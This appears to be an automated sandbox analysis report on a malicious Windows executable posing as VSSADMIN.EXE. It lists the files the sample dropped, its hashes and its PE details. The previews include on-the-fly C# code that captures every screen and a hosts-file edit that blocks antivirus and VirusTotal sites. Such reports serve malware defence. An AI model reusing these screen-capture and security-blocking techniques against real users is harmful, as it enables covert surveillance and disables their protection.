SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aw03lczq.mq1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_barw3bij.5tv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bpm5s1yx.104.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibknxhy4.iyb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iu3ijhec.u1h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jpuk35as.z3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmvecsx1.qzd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nq50ozn3.5ah.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_peh42opi.2jt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sb43tigj.xpz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_syayt5iu.zwy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0j1p4ad.uu4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yuhqumdg.5bg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_znbcwlgr.fm2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\cLm8FipMmJ.tmp

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 11, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	1.525382148408982
Encrypted:	false
SSDEEP:	96:oe8To9Eapxv//u29ikqnXxa3Itq273BzkTDnw3:o3IpV//u2QZo27V
MD5:	BAD7730F6FDE1661858D7C76366933B1
SHA1:	7679157DBA24CF0FD2DC03AE73611B04227EF8A5
SHA-256:	9F5A853FAB80EF233F4382B3B07412D1077AF8985222BBF701C8A824BEE22AFB
SHA-512:	B1B1E0C534D96138F8752936776C3A7FD08100C99B04C55A0D7F22D0688868829C784C34F319A9FBC8F18F54DEFC7E7B07C9E40734C7C48882FE0BDEC3C66E5E
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hRT4juQe8U.tmp

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.085971199934783
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryl8qak7YnqqG8bPN5Dlq5J:+RI+ycuZhNP8qakSG8bPNnqX
MD5:	B967146675FC0D6BFA494B56B7C6BEBC
SHA1:	A12EDF3BA2AF4092B53BDF27790CD415724B9677
SHA-256:	8A150D58F4B729D57CC6FA34DF37C27287B109016A2D5DA3B57800FEC764CE87
SHA-512:	D5E1BA12FD545165937311FDB8B11D4718C162DA206C4FC010707535412500568AFB2A1AFC5252492FB30604A0062A37610CBCC6DBA65D6BC827F0FA508DA80C
Malicious:	false
Reputation:	low
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.z.w.e.a.f.g.0...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...o.z.w.e.a.f.g.0...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Reputation:	low
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.313883735902588
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfwqNqoUWZEifwqNq2:V3ka6KOkqeFkOfww1EifwO
MD5:	C8F9F1E9BC764C8476EB205E6D6EC772
SHA1:	CDB9E34C66622CAEB33EA6F1C2550831C04E83A6
SHA-256:	74BAB8BD453DC773EE2804A4F5361B1749542DFFB857C4B3D621C2131BEBBDC9
SHA-512:	BF083FF9D5C73B93F93DD4E8E15B0FD7B759033B16661BBAC6107883841B18159449B514F506F230F41A35DE45BF2E8D41516BB0129B46576D15F0562E708613
Malicious:	true
Reputation:	low
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.0.cs"

C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.152074880959527
Encrypted:	false
SSDEEP:	48:6g7oEAtf0KhzBU/3Vf6mtJON0eDpW1ulla35q:4Nz03smWO+XK
MD5:	6C615C9F69DE3470B75D17B7EEAE8D9A
SHA1:	84B2CA6CD6605FBDD46E44158BAC97F5273C2EF9
SHA-256:	49E33F45A698837C016A60DE76044C9EF4A54FE950844A56308D9CA9743460BD
SHA-512:	3F9D803F7972BBF1E1A607B57595AB99572A85433B9A0939BE492769EDED5CD784F2BE5DA9423C84F45D3C5A2E3F10F6941F2FEFAD5DAE097E0D0CA08E663667
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (708), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1149
Entropy (8bit):	5.492138476285278
Encrypted:	false
SSDEEP:	24:KJfNgxId3ka6KOkqeFkOfww1EifwvKaMD5DqBVKVrdFAMBJTH:uN4kka6NkqeFkyww1EuwvKdDcVKdBJj
MD5:	354D53318AF746A761D58800790D3D7D
SHA1:	FD53D7B16B76B26B4C3FD20385B88738D01D17B8
SHA-256:	A7962FDA9ECB29AC21FAEFE1F192E193965501C5A29AADB79BC3C709C21E0347
SHA-512:	D81F62EF115CEA7C59DFCF997CC116B601257389ED111F0B0C972E9CB924AC7AADB4209FCD83C9D484295D7C751A176C44F8C51A8AA3B2F7A41183DD4851B4D5
Malicious:	false
Reputation:	low
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longe

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2280
Entropy (8bit):	4.598600285734304
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFc7ikBp32/Vy5L1vV7XnScMO:vDZEurK9K3Sw5VV7XnN
MD5:	23C7D0CF7F534AE4B1E210C2B9AC0A49
SHA1:	5B7932066BE03CC3C16912B00969F72A325620B9
SHA-256:	C5BB8C177321FC5049EB083B1DD40FFB0AC62AA139D1BF524613E75154E9C365
SHA-512:	85A6900CE87AC3D6458EA482CD12E08B5B3E7F2FC2E54C5DD0D087B9667F56BD9C49BD5BB6A76C6BE66826CD241B6F889269716871470BCE1AEFCE05B0D2C85C
Malicious:	true
Reputation:	low
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost...0.0.0.0 virustotal.com...0.0.0.0 www.virustotal.com...0.0.0.0 avast.com...0.0.0.0 www.avast.com...0.0.0.0 totalav.com...0.0.0.0 www.totalav.com...0.0.0.0 scanguard.com...0.0.0

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Reputation:	low
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.992692630132626
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	VSSADMIN.EXE.exe
File size:	7'380'816 bytes
MD5:	b8e16b93be678043ec587ec1c759c2de
SHA1:	a8c98ba05ac710a92c4df15956f81cf81073746f
SHA256:	15dd97919ebcb246add4fc9e9b201bdd67da510c79f8d89cb4edc7fbf64858fa
SHA512:	43728e686d684998e6e80344e7a0f05caa106262cebc5b5815619b74ea7856dab13b2954085e188d7ec3b96581390d86a4d4bef13c3fda9fd26844a9494d571f
SSDEEP:	98304:9jzHqdVfB2GyuT/9vUIdD9C+z3zO917vOTh+ezsNh75S2zh/hQqIvmJ1YPFlVtqU:9PQsGbT/9bvLz3S1bA32zOqxYPdH
TLSH:	A57633DAA3C109F4D477C63DC2C28945DAB5752B03A4DA8F03B466B61F1BAD48D3BB12
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............r...r...r...q...r...w.'.r...v...r.<.....r.<.w...r.<.v...r.<.q...r...s...r...s...r...v...r...p...r.Rich..r................

File Icon


Icon Hash:	367cdccfcfcfc644

Static PE Info

General

Entrypoint:	0x14000b340
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x65046D71 [Fri Sep 15 14:42:57 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	0b5552dccd9d0a834cea55c0c8fc05be

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	9/29/2021 2:00:00 AM 9/29/2024 1:59:59 AM
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F42F4E60CECh
dec eax
add esp, 28h
jmp 00007F42F4E608FFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F42F4E61264h
test eax, eax
je 00007F42F4E60AA3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F42F4E60A87h
dec eax
cmp ecx, eax
je 00007F42F4E60A96h
xor eax, eax
dec eax
cmpxchg dword ptr [000411ECh], ecx
jne 00007F42F4E60A70h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F42F4E60A79h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
movzx eax, byte ptr [000411D7h]
test ecx, ecx
mov ebx, 00000001h
cmove eax, ebx
mov byte ptr [000411C7h], al
call 00007F42F4E61063h
call 00007F42F4E62192h
test al, al
jne 00007F42F4E60A86h
xor al, al
jmp 00007F42F4E60A96h
call 00007F42F4E6E771h
test al, al
jne 00007F42F4E60A8Bh
xor ecx, ecx
call 00007F42F4E621A2h
jmp 00007F42F4E60A6Ch
mov al, bl
dec eax
add esp, 20h
pop ebx
ret
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0004118Ch], 00000000h
mov ebx, ecx
jne 00007F42F4E60AE9h
cmp ecx, 01h
jnbe 00007F42F4E60AECh
call 00007F42F4E611CAh
test eax, eax
je 00007F42F4E60AAAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3bcd4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x4b4c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x4e000	0x20a0	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x707b08	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x57000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39480	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
